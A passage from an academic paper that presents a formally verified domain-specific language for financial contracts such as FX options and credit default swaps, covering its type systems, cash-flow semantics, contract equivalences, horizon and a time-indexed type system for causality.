portfolios, such as foreign exchange swaps and options, credit
default swaps, and portfolios holding contracts with multiple
counter-parties.2 The contract DSL has been designed for sym-
bolic rather than numerical computation, and cleanly separates
all stochastic aspects from the core contract combinators.

• By means of a denotational cash-flow semantics for the DSL
(Section 2.3), we precisely and succinctly characterise con-
tract properties (e.g., causality) and transformations (e.g., par-
tial evaluation).

• We devise a type-system that statically ensures that contracts
follow the principle of causality, together with an accompany-
ing type inference procedure (Section 3.2).

• We derive a reduction semantics for the contract language,
which evolves contracts over time in accordance with the de-
notational semantics (Section 4.2). As we will show, our type
system is a crucial ingredient for establishing computational ad-
equacy of the reduction semantics.

• We formally verify the correctness of our contract manage-
ment functionality including type inference, reduction seman-
tics, contract specialisation (partial evaluation), and horizon in-
ference.

• Using the code extraction functionality of the Coq system,
we generate an implementation of the certified analyses and
transformations in Haskell.

The certified implementation of the contract language is avail-
able online3 together with Coq proofs of all propositions and theo-
rems mentioned in this paper. Currently, the contract framework is
being deployed in a contract and portfolio pricing and risk calcula-
tion prototype [26], developed at the HIPERFIT Research Center.

2. The Contract Language
A financial contract is an agreement between several parties that
stipulates future asset transfers (i.e., cash-flows) between those
parties. These stipulations may depend on observable underlying
values such as foreign exchange rates, stock prices, and market

2 Examples were provided by partners of the HIPERFIT Research Center.
3 See https://github.com/HIPERFIT/contracts.

indexes. But they can also be at the discretion of one of the involved
parties (e.g., in an option).

Our contract language allows us to express such contracts suc-
cinctly and in a compositional manner. To facilitate compositional-
ity, our language employs a relative notion of time. Figure 1 gives
an overview of the language’s syntax. But before we discuss the
language in more detail, we explore it with the help of four con-
crete example contracts.

2.1 Examples
We shall illustrate our contract DSL using examples from the for-
eign exchange (FX) market and days as the basic time unit, but the
concepts generalise easily to other settings. For the purpose of our
examples, cash-flows are based on a fixed set of currencies.

At first, we consider the following forward contract, an agree-
ment to purchase an asset in the future for a fixed price.

Example 1 (FX Forward). In 90 days, party X will buy 100 US
dollars for a fixed rate 6.5 of Danish kroner from party Y .

90 ↑ 100× (USD(Y → X) & 6.5× DKK(X → Y ))

The contract USD(Y → X) stipulates that party Y must
transfer one unit of USD to party X immediately. Similarly,
DKK(X → Y ) stipulates that party X must transfer one unit of
DKK to party Y . The combinator × allows us to scale a contract
by a real-valued expression. In the example, we use it with the
constants 6.5 and 100. The combinator & combines two contracts
conjunctively. Finally, the combinator ↑ translates a contract into
the future. In the above example, we translate the whole trade of
100 US dollars for Danish kroner 90 days into the future.

A common contract structure is to repeat a choice between
alternatives until a given end date. Our language supports this
repetitive check directly using the following conditional, which is
an iterating generalisation of a simple alternative (if-then-else):

if . . . within . . . then . . . else . . .

As an example, consider an American option, where one party may,
at any time before the contract ends, decide to execute the purchase.

Example 2 (FX American Option). Party X may, within 90 days,
decide whether to (immediately) buy 100 US dollars for a fixed rate
6.5 of Danish kroner from party Y .

if obs(X exercises option, 0) within 90

then 100× (USD(Y → X) & 6.5× DKK(X → Y ))

else ∅

This contract uses an observable external decision, expressed
using obs (which uses a time offset 0, meaning the current day),
and the if-within construct, which monitors this decision of partyX
over the 90 days time window. If X chooses to exercise the option
before the end of the 90 days time window, the trade comes into
effect. Otherwise, the contract becomes empty (∅) after 90 days.

The expression language also features an accumulation combi-
nator acc, which accumulates a value over a given number of days
from the past until the current day. The accumulator can be used
to describe Asian options (or average options), for which a price
is established from an average of past prices instead of just one
observed price.
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Example 3 (FX Asian Option). After 90 days, partyX may decide
to buy USD 100; paying the average of the exchange rate USD to
DKK observed over the last 30 days.

90 ↑ if obs(X exercises option, 0) within 0

then 100× (USD(Y → X) &(rate × DKK(X → Y )))

else ∅
where rate = acc(λr. r + obs(FX(USD,DKK), 0), 30, 0)/30

Here, rate is just a meta variable to facilitate the reading of
the contract. In addition to the decision expressed as a Boolean
observable, this contract uses an obs expression to observe the
exchange rate between USD and DKK (again at offset 0, thus on the
current day). Observed values are accumulated to the rate using an
acc expression. The rate is determined as the average of the USD
to DKK exchange rates observed over the 30 days before the day
when the scaled payment is made (acc has a backwards-stepping
semantics with respect to time). More generally, the acc construct
can be used to propagate a state through a value computation.

So far, all contracts only had two parties. To illustrate the multi-
party aspect of our language, we consider a simple credit default
swap (CDS) for a zero-coupon bond, which involves three parties.

Example 4 (CDS for a zero-coupon bond). The issuerX of a zero-
coupon bond agrees to pay the holder Y a nominal amount, say
DKK 1000, at an agreed time in the future, say in 30 days. For this
contract we also want to model the eventuality that the issuer X
defaults. To this end, we use an observable “X defaults”:

if obs(X defaults, 0) within 30 then ∅
else 1000× DKK(X → Y )

The seller Z of a CDS agrees to pay the buyer Y a compensation,
say DKK 900, in the event that the issuer X of the underlying
bond defaults. In return, the buyer Y of the CDS pays the seller
Z a premium. In this case, we consider a simple CDS with a
single premium paid up front, say DKK 10. This agreement can
be specified in the contract language as follows:

(10× DKK(Y → Z)) & if obs(X defaults, 0) within 30

then 900×DKK(Z → Y )

else ∅
Let cbond and cCDS be the above bond and CDS contract, respec-
tively. We then combine the two contracts conjunctively to form the
contract cbond & cCDS that describes the interaction between the
CDS and the underlying bond that the CDS insures. In this com-
pound contract, Y acts both as the holder of the bond and the buyer
of the CDS, thereby interacting with the two parties X and Z.

We will consider more realistic examples of CDSs with regular
interest and premium payments in Section 5.2.

2.2 Simple Type System for Contracts
In this section, we present the contract language systematically
using a simple type system. This type system allows us to give
a well-defined denotational semantics (see Section 2.3), but it is
too lax to rule out contracts that violate the principle of causality.
Therefore, we shall refine this type system in Section 3.2 such that
it takes temporal aspects into account, which in turn facilitates a
computationally adequate reduction semantics (Section 4.2).

Figure 1 gives an overview of the syntax of the contract lan-
guage including the expression sub-language. For the syntax we as-
sume a countably infinite set of variables Var, a set of labels Label,
a set of assets Asset, a set of parties Party, and a set of operators
Op.

Labels are used to refer to observables. To this end, we assume
that each label in Label is assigned a unique type τ , and we write

types τ ::= Real | Bool
expressions e ::= x | r | b | obs(l, t) | op(e1, . . . , en) |

acc(λx. e1, d, e2)

contracts c ::= ∅ | let x = e in c | d ↑ c | c1 & c2 | e× c |
a(p→ q) | if e within d then c1 else c2

where x ∈ Var, r ∈ R, b ∈ B, l ∈ Label, t ∈ Z,
d ∈ N, a ∈ Asset, p, q ∈ Party, op ∈ Op

Figure 1. Syntax of the contract language.

Γ ` e : τ

x : τ ∈ Γ

Γ ` x : τ Γ ` r : Real Γ ` b : Bool

l ∈ Labelτ
Γ ` obs(l, t) : τ

Γ ` ei : τi

` op : τ1 × · · · × τn → τ

Γ ` op(e1, . . . , en) : τ

Γ, x : τ ` e1 : τ

Γ ` e2 : τ

Γ ` acc(λx. e1, d, e2) : τ

Γ ` c : Contr

Γ ` ∅ : Contr Γ ` a(p→ q) : Contr

Γ ` c : Contr

Γ ` d ↑ c : Contr

Γ ` ci : Contr

Γ ` c1 & c2 : Contr

Γ ` e : Real Γ ` c : Contr

Γ ` e× c : Contr

Γ ` e : τ Γ, x : τ ` c : Contr

Γ ` let x = e in c : Contr

Γ ` e : Bool Γ ` ci : Contr

Γ ` if e within d then c1 else c2 : Contr

Figure 2. Simple typing rules for contracts and expressions.

` op : τ1 × · · · × τn → τ

` ⊕ : Real× Real→ Real for ⊕ ∈ {+,−, ·, /,max ,min}
` ⊕ : Real× Real→ Bool for ⊕ ∈ {≤, <,=,≥, >}
` ⊕ : Bool× Bool→ Bool for ⊕ ∈ {∧,∨}
` ¬ : Bool→ Bool

` if : Bool× τ × τ → τ for τ ∈ {Real,Bool}

Figure 3. Typing of expression operators.

Labelτ for the set of labels of type τ . For instance, in our examples
in Section 2.1, we assume that ”FX(USD,DKK)” ∈ LabelReal
and ”X exercises option” ∈ LabelBool. Moreover, we assume that
labels in LabelBool may have an associated party that has control
over it. That is, there is a partial mapping π : LabelBool ⇀ Party.
For instance, we have that π(X exercises option) = X for all X ∈
Party. In other words, the label “X exercises option” represents a
decision taken by party X .

Figure 2 presents the simple type system for the contract lan-
guage. The typing rules use typing environments Γ, which are
partial mappings from variables to expression types. Instead of
∅ ` c : Contr, we also write ` c : Contr, and we call a contract c
closed if ` c : Contr.

The expression sub-language includes a number of common
real-valued and Boolean operators, which are covered by the judge-
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ment ` op : τ1 × · · · × τn → τ , defined in Figure 3. Instead of
⊕(e1, e2), we also write e1 ⊕ e2, instead of ¬(e) we write ¬e, and
instead of if(e1, e2, e3) we write if e1 then e2 else e3.

Notice that our contract language also features let bindings of
the form let x = e in c. The intuitive meaning of such a contract is
that it evaluates the expression e at the current time and “stores” the
resulting value in x for later reference in the contract c. Let bindings
are essential for providing a fixed reference point in time, which is
necessary for contracts constructed by the if-within combinator. For
instance, we might wish to write an option contract that is cancelled
as soon as a foreign exchange rate rises beyond a threshold relative
to a previously observed exchange rate:

let x = obs(FX(EUR,USD), 0)

in if obs(FX(EUR,USD), 0) ≥ 1.1 · x within 30

then ∅ else coption

The above contract is equivalent to the zero contract if the exchange
rate EUR/USD rises 10 percent above the exchange rate observed
at the time the contract started. Otherwise, the option described by
the (elided) contract coption becomes available.

Similarly, the let binding is also useful in the then branch of
the if-within combinator and in the accumulation function in an
expression formed by acc. We shall see more examples of using
let bindings in Section 2.5.

In this paper, let bindings are limited to bind expressions only. It
is straightforward to extend the language and its metatheory to in-
clude let bindings for contracts, and for practical implementations
this is very useful in order to obtain compact contract representa-
tions. However, such let bindings have no semantic impact, and in
the interest of simplicity and conciseness we have elided them.

2.3 Denotational Semantics
The denotational semantics of a contract is given with respect to
an external environment, which provides values for all observables
and choices involved in the contract. A contract’s semantics is then
given as a series of cash-flows between parties over time.

Given an expression type τ ∈ {Real,Bool}, we write JτK for its
semantic domain, where JRealK = R and JBoolK = B. External en-
vironments (or simply environments for short) provide facts about
observables and external decisions involved in contracts. The set of
environments Env consists of functions ρ : Label×Z→ R∪B that
map each time offset t ∈ Z and label l ∈ Labelτ that identifies an
observable or a choice, to a value ρ(l, t) in JτK. Notice that the sec-
ond argument t is an integer and not necessarily a natural number.
That is, an environment may provide information about the past
as well as the future. Environments are essential to the semantics
of Boolean and real-valued expressions, which is otherwise a con-
ventional semantics of arithmetic and logic expressions. In addition
to environments, we also need variable assignments that map each
free variable of type τ to a value in JτK. Given a typing environment
Γ, we define the set of variable assignments in Γ, written JΓK, as
the set of all partial mappings γ from variable names to R∪B such
that γ(x) ∈ JτK iff x : τ ∈ Γ.

Figure 4 details the full denotational semantics of expressions
and contracts. We first look at the semantics of expressions: Given
an expression typing Γ ` e : τ , the semantics of e, denoted E JeK
is a mapping of type JΓK × Env → JτK. Instead of E JeK (γ, ρ),
we write E JeKγ,ρ. For each operator op with the typing judgement
` op : τ1 × · · · × τn → τ , we define a corresponding semantic
function JopK : Jτ1K× · · · × JτnK→ JτK. For example, J+K is the
usual addition on R.

In order to give a semantics to the acc combinator, we need
to shift environments in time. To this end, we define for each

E JeK : JΓK× Env→ JτK

E JrKγ,ρ = r; E JbKγ,ρ = b; E JxKγ,ρ = γ(x)

E Jobs(l, t)Kγ,ρ = ρ(l, t)

E Jop(e1, . . . , en)Kγ,ρ = JopK (E Je1Kγ,ρ , . . . , E JenKγ,ρ)

E Jacc(λx. e1, d, e2)Kγ,ρ =

{
E Je2Kγ,ρ if d = 0

E Je1Kγ[x 7→v],ρ if d > 0

where v = E Jacc(e1, d− 1, e2)Kγ,ρ/−1

C JcK : JΓK× Env→ N→ Party × Party × Asset→ R

C J∅Kγ,ρ = λn.λt.0

C Je× cKγ,ρ = λn.λ(p, q, a).E JeKγ,ρ · C JcKγ,ρ (n)(p, q, a)

C Jc1 & c2Kγ,ρ = λn.λt.C Jc1Kγ,ρ (n)(t) + C Jc2Kγ,ρ (n)(t)

C Jd ↑ cKγ,ρ = delay(d , C JcKγ,ρ), where

delay(d, f) = λn.

{
f(n− d) if n ≥ d
λx.0 otherwise

C Ja(p→ q)Kγ,ρ =

{
λn.λt.0 if p = q

unita,p,q otherwise, where

unita,p,q(n)(p′, q′, b) =


1 if b = a, p = p′, q = q′, n = 0

−1 if b = a, p = q′, q = p′, n = 0

0 otherwise

C Jlet x = e in cKγ,ρ = C JcKγ[x7→v],ρ , where v = E JeKγ,ρ
C Jif e within d then c1 else c2Kγ,ρ = iter(d, ρ), where

iter(i, ρ′) =
C Jc1Kγ,ρ′ if E JeKγ,ρ′ = true

C Jc2Kγ,ρ′ if E JeKγ,ρ′ = false ∧ i = 0

delay(1, iter(i− 1, ρ′/1)) if E JeKγ,ρ′ = false ∧ i > 0

Figure 4. Denotational semantics of expressions and contracts.

environment ρ ∈ Env and time offset t ∈ Z, the promotion of ρ
by t as the following mapping:

ρ/t : (l, i) 7→ ρ(l, i+ t) (i ∈ Z, l ∈ Label)

In other words, ρ/t is time-shifted t days into the future.
The semantics of acc iterates the argument e1 by stepping back-

wards in time. This behaviour can be expressed equivalently us-
ing promotion of expressions, in analogy to promotion of environ-
ments. Promoting an expression by t days translates all contained
observables and choices t days into the future. For any expression
e and t ∈ Z, the expression t ⇑ e, is defined as:

t ⇑ e = e if e is a literal or variable

t ⇑ obs(l, t′) = obs(l, t+ t′)

t ⇑ op(e1, . . . , en) = op(t ⇑ e1, . . . , t ⇑ en)

t ⇑ acc(λx. e1, d, e2) = acc(λx.(t ⇑ e1), d, t ⇑ e2)

Observables and choices are translated, and the promotion propa-
gates downwards into all subexpressions.

Promotion of expressions can be semantically characterised by
promotion of environments:
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Lemma 1. For all expressions e, t ∈ Z, variable assignments γ,
and environments ρ, we have that E Jt ⇑ eKγ,ρ = E JeKγ,ρ/t.

Thus, acc(λx. e1, d, e2) is semantically equivalent to

e1[x 7→ (−1 ⇑ e1)[x 7→ . . . (−(d− 1) ⇑ e1)[x 7→ −d ⇑ e2] . . . ]]

where we use the notation e[x 7→ e′] to denote the substitution of
e′ for the free variable x in e.

The semantics of a contract is given by its cash-flow trace, a
mapping from time into the set Trans of asset transfers between
two parties:4

Trans = Party × Party × Asset→ R
Trace = N→ Trans

Given a contract typing Γ ` c : Contr, the semantics of c,
denoted C JcK is a mapping of type JΓK × Env → Trace. Instead
of C JcK (γ, ρ), we write C JcKγ,ρ. Given a closed contract c (i.e.,
` c : Contr), we simply write C JcKρ instead of C JcK∅,ρ, where ∅
denotes the empty variable assignment.

The semantics of a unit transfer a(p→ q) may seem confusing
at first, but it reflects the nature of cash-flows: If the two parties
p and q coincide, it is equivalent to the zero contract. Otherwise,
the semantics is a trace that has exactly two non-zero cash-flows:
one from p to q and one in the converse direction but negative. A
consequence of this approach is that for each contract c, we have
the following anti-symmetry property:

Lemma 2. For all γ, ρ, n, p, q, a, we have that

C JcKγ,ρ (n)(p, q, a) = −C JcKγ,ρ (n)(q, p, a)

In other words, if there is a cash-flow of magnitude r in one di-
rection, there is a cash-flow of magnitude−r in the other direction.

The typing rules for the contract language and the expression
sub-language ensure that the semantics given above is well-defined.

Proposition 3 (well-defined semantics). Let Γ be a typing environ-
ment, γ ∈ JΓK, and ρ ∈ Env.

(i) Given Γ ` e : τ , we have that E JeKγ,ρ ∈ JτK.
(ii) Given Γ ` c : Contr, we have that C JeKγ,ρ ∈ Trace.

As a corollary, we obtain that each closed contract c yields a
total function C JcK : Env→ Trace.

2.4 Contract Equivalences
The denotational semantics provides a natural notion of contract
equality. For each typing environment Γ, we define the equivalence
relation ≡Γ as follows:

c1 ≡Γ c2 iff
Γ ` c1 : Contr,Γ ` c2 : Contr, and
C Jc1Kγ,ρ = C Jc2Kγ,ρ for all γ ∈ JΓK , ρ ∈ Env

That means, whenever we have that c1 ≡Γ c2, then we can replace
any occurrence of c1 in a contract c by c2 without changing the
semantics of c. As a shorthand we use the notation c1 ≡ c2 iff
Γ ` c1 : Contr,Γ ` c2 : Contr implies c1 ≡Γ c2 for all Γ.

A number of simple equivalences can be proved easily using
the denotational semantics; Figure 5 gives some examples. These
equivalences can be used to simplify a given contract, for instance
to achieve a normalised format suitable for further processing.

Many of the equivalences in Figure 5 look similar to the axioms
of vector spaces. The reason is that the set Trans forms a vector

4 The informed reader might notice that this semantics is bound to adding all
transfers between two parties on one particular day. This so-called "netting"
is used throughout in our model. In real-world financial contracts, parties
would explicitly agree on netting, or otherwise handle cash-flows from
different contracts as separate entities.

e1 × (e2 × c) ≡ (e1 · e2)× c
d1 ↑ (d2 ↑ c) ≡ (d1 + d2) ↑ c
d ↑ (c1 & c2) ≡ (d ↑ c1) &(d ↑ c2)

e× (c1 & c2) ≡ (e× c1) &(e× c2)

d ↑ (e× c) ≡ (d ⇑ e)× (d ↑ c)
(e1 × c) &(e2 × c) ≡ (e1 + e2)× c

d ↑ ∅ ≡ ∅
r × ∅ ≡ ∅
0× c ≡ ∅
c& ∅ ≡ c

c1 & c2 ≡ c2 & c1

d ↑ if b within e then c1 else c2 ≡
if d ⇑ b within e then d ↑ c1 else d ↑ c2

Figure 5. Some contract equivalences.

space over the field R, where the semantics of ∅, &, and × are the
zero vector, vector addition, and scalar multiplication, respectively.

2.5 Observing the Passage of Time
In a contract of the form if b within d then c1 else c2, we
know how much time has passed when we enter subcontract c2,
namely d days. This we do not know for the subcontract c1; we
only know that between 0 and d days have passed. However, the
contract language’s let bindings provide a mechanism to observe
the passage of time also when entering the subcontract c1. To this
end, we assume an observable with label time ∈ LabelReal, whose
value is the “current time”. We can then modify the above contract
such that we can observe how much time has passed before b
became true and the subcontract c1 was entered:

let y = obs(time, 0)

in if b within d then let x = obs(time, 0)− y in c1 else c2

The variable x of type Real scopes over the contract c1 and de-
notes the time that has passed between entering the whole if-within
contract and entering the subcontract c1.

Because the above construction is useful and common when
formulating contracts, we give it the following shorthand notation:

if b within d then x. c1 else c2

The variable y is not explicitly mentioned in this shorthand notation
and is assumed to be an arbitrary fresh variable.

We can use this construction, for example, to express a callable
bond, that is, a bond where the issuer may decide to redeem the
bond prematurely. The amount to be paid to the holder of the bond
may depend on the time passed before the issuer decided to call the
bond.

if obs(X calls bond, 0) within 30

then x. ((30− x) + 100)× USD(X → Y )

else 100× USD(X → Y )

For the sake of presentation, the above contract is rather simplistic,
but illustrates the underlying concept: the issuer of the bond, party
X , can call the bond at any time, with the penalty of paying more
to the holder of the bond, party Y , depending on the time left until
maturity (30− x).

We still need to formally define the semantics of the time ob-
servable. We cannot define the value of the time observable in ab-
solute terms, since our contract language is deliberately constraint
to relative time. Consequently, the time observable is defined as a
relative concept: each environment ρ satisfies the equation

ρ(time, t+ t′) = ρ(time, t) + t′ for all t, t′ ∈ Z
Concretely, the above invariant can be achieved by using environ-
ments ρ at the top level that satisfy ρ(time, t) = t.
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2.6 Calendars
A notoriously thorny issue for formal contract languages in the fi-
nancial domain is the calendar, which is used for expressing and
referring to properties about dates such as holidays and business
days. Fortunately, observables provide an elegant interface for cal-
endric properties.

To illustrate this, we consider a Boolean observable that is true
whenever we have a business day. However, “business day” is not
an absolute concept and varies by region. Therefore, we assume
that for each currency a, we have a label business(a) ∈ LabelBool
denoting whether a given day is a business day for currency a.

In Section 2.1, we considered various examples for foreign
exchange options, where the actual exchange was expressed by a
contract c such as

c = 100× (USD(Y → X) & 6.5× DKK(X → Y ))

In reality, however, such exchanges cannot happen on any arbitrary
date, but only on days that are business days for all involved cur-
rencies. Therefore, real contracts typically state that the exchange
must be executed on the first day that is a business day for all in-
volved currencies. With the help of the business observable, this
refinement is expressed by the following contract c′:

c′ = if obs(business(USD), 0) ∧ obs(business(DKK), 0)

within 365 then c else c

The contract c′ states that we enter the foreign exchange contract c
on the first day that is a business day for both USD and DKK, or in
a year at the latest. Thus, a more realistic version of the contract in
Example 2 is the following:

if obs(X exercises option, 0) within 90 then c′ else ∅

Instead of the simple foreign exchange contract c, the above con-
tract uses the refined version c′.

3. Temporal Properties of Contracts
With the denotational semantics of contracts at hand, we can char-
acterise a number of temporal properties that are relevant for man-
aging contracts. We shall consider two examples: causality, the
property that a contract does not stipulate cash-flows that depend
on “future” observables, and contract horizon, the minimum time
span until a contract is certain to be zero.

In principle, both the causality property and the contract horizon
can be effectively computed via the decidability of the first order
theory of real closed fields. However, this approach would result in
computationally very expensive procedures (even more so since the
acc combinator and the if-within have to be unrolled). But more
importantly, minor additions to the expression language such as
exponentiation and logarithm, which are common in finance, break
the decidability. Therefore, we will devise sound approximations
of these temporal properties. Moreover, as we shall see below, the
approximation of causality via a type system provides additional
benefits—most importantly a computational adequacy result for
our reduction semantics in Section 4.2.

3.1 Contract Horizon
We define the horizon h ∈ N of a closed contract c as the minimal
time until the last potential cash-flow stipulated by the contract,
under any environment. That is, it is the smallest h ∈ N with

C JcKρ (i)(x) = 0 for all ρ ∈ Env, i ≥ h, and x

In other words, after h days, the cash-flow for the contract c remains
zero, for any environment ρ. Notice that since c is closed, that is,
` C : Contr, we know that C JcKρ (i) is defined for any ρ and i.

HOR(∅)
HOR(a(p→ q))

= 0

= 1

HOR(e× c) = HOR(c)

HOR(d ↑ c) = d⊕ HOR(c)

HOR(let x = e in c) = HOR(c)

HOR(c1 & c2) = max(HOR(c1), HOR(c2))

HOR

(
if e within d

then c1else c2

)
= d⊕max(HOR(c1), HOR(c2))

where
a⊕ b =

{
0 if b = 0

a+ b otherwise

Figure 6. Symbolic horizon.

By dropping the minimality requirement, we can devise a sim-
ple, sound approximation of the horizon, which is given in Figure 6.
We can show that the semantic contract horizon is never greater
than the symbolic horizon computed by HOR:

Proposition 4 (soundness of symbolic horizon). Let h be the
horizon of a closed contract c. Then h ≤ HOR(c).

3.2 Contract Causality
At the moment, the contract language allows us to write contracts
that make no sense in reality as they make stipulations about cash-
flow at time t that depends on input from the external environment
strictly after t. In other words, such contracts are not causal. For
instance, we may stipulate a transfer to be executed today using the
foreign exchange rate of tomorrow:

obs(FX(USD,DKK), 1)× DKK(X → Y )

Using the denotational semantics, we can give a precise defini-
tion of causality. Given t ∈ Z, we define an equivalence relation =t

on Env that intuitively expresses that two environments agree until
(and including) time t. We define that ρ1 =t ρ2 iff s ≤ t implies
ρ1(l, s) = ρ2(l, s), for all l ∈ Label, and s ∈ Z. Causality can
then be captured by the following definition: A closed contract c is
causal iff for all t ∈ N and ρ1, ρ2 ∈ Env, we have that ρ1 =t ρ2

implies C JcKρ1 (t) = C JcKρ2 (t). That is, the cash-flows at any
time t do not depend on observables and decisions after t.

As mentioned earlier, contract causality is in principle decid-
able, but it is computationally expensive, and decidability is easily
lost with minor additions to the expression language. Moreover,
causality is not a compositional property; a contract may be causal
even though a subcontract is not causal. For instance, any contract
of the form c&(−1×c) is trivially causal since it is equivalent to ∅;
but cmay well be non-causal. Compositionality is important for the
reduction semantics as we shall see in Section 4.2. Therefore, we
develop a compositional, conservative approximation of causality.
The simplest such approximation is to require that for every sub-
expression of the form obs(l, t), we have that t ≤ 0. We call a
contract that conforms to this syntactic criterion obviously causal.

Most practical contracts are in fact obviously causal and we
have yet to find a causal contract that cannot be transformed into
an equivalent contract that is obviously causal. For example, the
following contract is causal but not obviously causal:

obs(FX(USD,DKK), 1)× 1 ↑ DKK(X → Y )

However, the above contract is equivalent to the following obvi-
ously causal contract (cf. Figure 5):

1 ↑ obs(FX(USD,DKK), 0)× DKK(X → Y )

A more realistic example is the following chooser option, where
the buyer X may choose, in 30 days, whether to have a (European)
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Γ  e : τ t where t ∈ Z−∞

Γ  r : Realt Γ  r : Boolt
l ∈ Labelτ t ≤ t′

Γ  obs(l, t) : τ t′

x : τ t ∈ Γ t ≤ t′

Γ  x : τ t′
` op : τ1 × · · · × τn → τ Γ  ei : τ ti

Γ  op(e1, . . . , en) : τ t

Γ, x : τ−∞  e1 : τ t Γ+d  e2 : τ t+d

Γ  acc(λx. e1, d, e2) : τ t

Γ  c : Contrt where t ∈ Z−∞

Γ−d  c : Contrt−d

Γ  d ↑ c : Contrt
t ≤ 0

Γ  a(p→ q) : Contrt

Γ  ∅ : Contrt
Γ  e : Realt

′
Γ  c : Contrt

′
t ≤ t′

Γ  e× c : Contrt

Γ  ci : Contrt

Γ  c1 & c2 : Contrt
Γ  e : τs Γ, x : τs  c : Contrt

Γ  let x = e in c : Contrt

Γ  e : Bool0 Γ  c1 : Contrt Γ−d  c2 : Contrt−d

Γ  if e within d then c1 else c2 : Contrt

Figure 7. Time-indexed type system.

call or put option. The buyer X may then, 30 days later, exercise
the option. We formulate the contract in terms of the payout with
respect to a given strike price:

let price = obs(FX(DKK,USD), 60) in

let payout = if obs(X chooses call option, 30)

then max (price − strike, 0)

else max (strike − price, 0)

in 60 ↑ (payout × DKK(Y → X))

Again this contract can be transformed into an equivalent contract
that is obviously causal, but the above formulation is closer to the
informal description of the contract.

The simple syntactic criterion of obvious causality is rather re-
strictive for formulating contracts. Moreover, it is very fragile as
it is not necessarily preserved by equivalence preserving contract
transformations. For example, applying any of the equivalences
from Figure 5 involving promotion of expressions (d ⇑ e) from
left-to right may destroy obvious causality. To address these prob-
lems, we refine the typing rules for contracts and expressions by
indexing types with time offsets. The intuition of these time in-
dices is the following: If an expression e has type τ t, then the value
of e is available at time t and any time after that. In other words, e
does not depend on observations and decisions made strictly after
time t. In contrast, if a contract c is of type Contrt, then c makes
no cash-flow stipulations strictly before t.

Time indices t range over the set Z−∞ = Z ∪ {−∞}, that is,
we assume a time −∞ that is before any other time t ∈ Z. We
also assume a total order ≤ on Z−∞, which is the natural order on
Z extended by −∞ ≤ t for all t ∈ Z−∞. Moreover, we define
the addition t + d of a time t ∈ Z−∞ by a number d ∈ Z: if
t ∈ Z, then the addition is just ordinary addition in Z, otherwise
−∞+ d = −∞. Subtraction t− d is defined as t+ (−d).

The refined typing rules are given in Figure 7. To distinguish the
refined type system from the simple type system we use the nota-
tion  instead of `. The typing rules use timed type environments,

Γ Ì e : τ t where t ∈ Z−∞

Γ Ì b : Bool−∞ Γ Ì r : Real−∞
l ∈ Labelτ

Γ Ì obs(l, t) : τ t

x : τ t ∈ Γ

Γ Ì x : τ t
Γ Ì ei : τ tii ` op : τ1 × · · · × τn → τ

Γ Ì op(e1, . . . , en) : τmaxi ti

Γ, x : τ−∞ Ì e1 : τ t1 Γ+d Ì e2 : τ t2

Γ Ì acc(λx. e1, d, e2) : τmax(t1,t2−d)

Γ Ì c : Contrt where t ∈ Z±∞

Γ−d Ì c : Contrt

Γ Ì d ↑ c : Contrt+d Γ Ì a(p→ q) : Contr0

Γ Ì ∅ : Contr+∞
Γ Ì e : Realt

′
Γ Ì c : Contrt t′ ≤ t

Γ Ì e× c : Contrt

Γ Ì ci : Contrti

Γ Ì c1 & c2 : Contrmini ti

Γ Ì e : τs Γ, x : τs Ì c : Contrt

Γ Ì let x = e in c : Contrt

Γ Ì e : Boolt t ≤ 0 Γ Ì c1 : Contrt1 Γ−d Ì c2 : Contrt2

Γ Ì if e within d then c1 else c2 : Contrmin(t1,t2+d)

Figure 8. Type inference algorithm.

which map variables to time-indexed types instead of plain types.
Moreover, the typing rules use the notation Γ+d to denote the timed
type environment that is obtained from Γ by adding d to all time in-
dices, that is, x : τ t+d ∈ Γ+d iff x : τ t ∈ Γ. The notation Γ−d is
defined accordingly: x : τ t−d ∈ Γ−d iff x : τ t ∈ Γ.

The typing rules provide some insight into the temporal prop-
erties of expression and contract constructs. Starting with the typ-
ing of expressions, we can see that constants are available at any
time and thus have an arbitrary time index; observables at time t
are available at any time after t; and operators op have no tempo-
ral interaction. The typing rule for acc can be difficult to read at
first, but it directly reflects its temporal behaviour: e2 is evaluated
d days in the past. This is reflected by the shift of the time indices
d days into the future, which means variables become available d
days later, but also that e2 only needs be become available d days
later. The other component e1 is evaluated from d days in the past
until the present, hence there is no shift in the time indices. The
time index on the accumulation variable x indicates that there are
no temporal restrictions on x. Alternatively, we could have avoided
the additional −∞ time index and reformulated this typing rule to
use any time index t′ ∈ Z instead of −∞. However, the present
approach simplifies the proofs.

Turning to the contract typing rules, we see that ∅ stipulates
no cash-flows, and that a(p→ q) stipulates an immediate cash-
flow. The typing for & indicates that it has no temporal interaction,
and the typing for ↑ directly indicates the temporal shift expressed
by ↑. The typing rule for let binding is also without surprises. It
expresses the fact that let takes a snapshot in time. The rule for
× is a crucial one as it connects the expression language with the
contract language. It is arguably the most important typing rule as
it expresses the essential property for causality: an expression e
can only meaningfully scale a contract c if e is available at some
time t′ and cmakes no stipulations strictly before t′. The additional
inequality t ≤ t′ seems arbitrary and superfluous, but is essential
as we will argue at the end of this section. Finally, the typing for if-
within is somewhat dual to the typing of acc: instead of coming
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from the past like acc, if-within moves into the future. Hence,
the typing of c2 is shifted d days into the past. The typing of the
predicate e expresses that we need to know its value immediately
to decide whether one of the two subcontracts is entered.

The typing rules in Figure 7 refine the original simple typing
rules in Figure 2: well-typing () implies simple well-typing (`):

Proposition 5. Let Γ be a timed type environment and |Γ| a type
environment such that for each x and τ there is some t such that
x : τ t ∈ Γ iff x : τ ∈ |Γ|. Then we have

(i) Γ  e : τ t implies |Γ| ` e : τ , and
(ii) Γ  c : Contrt implies |Γ| ` c : Contr.

Most importantly, we have that well-typed contracts are causal.

Theorem 6. If  c : Contrt, then c is causal.

Finally, we will give a sound and complete type inference proce-
dure that is able to decide whether a given contract c is well-typed.

The time-indexing of types induces a subtyping order≤ derived
from the order ≤ on Z−∞ defined as follows:

τ t11 ≤ τ
t2
2 iff τ1 = τ2 and t1 ≤ t2

An essential property of expression and contract typing is that
both are closed under subtyping, albeit in opposite directions:

Lemma 7.

(i) If Γ  e : τ t, then Γ  e : τs for all s ≥ t.
(ii) If Γ  c : Contrt, then Γ  c : Contrs for all s ≤ t.

Expression typing is upwards closed, whereas contract typing
is downwards closed. As a consequence, we know that well-typed
expressions have minimal types. Moreover, if we extend the set
of time indices Z−∞ with an additional maximal element +∞,
we also obtain that well-typed contracts have maximal types. This
property allows us to devise a simple type inference algorithm. For
the sake of clarity, we present the type inference algorithm in the
form of syntax-directed typing rules, which are shown in Figure 8.
In contrast to the typing judgement , the syntax-directed judge-
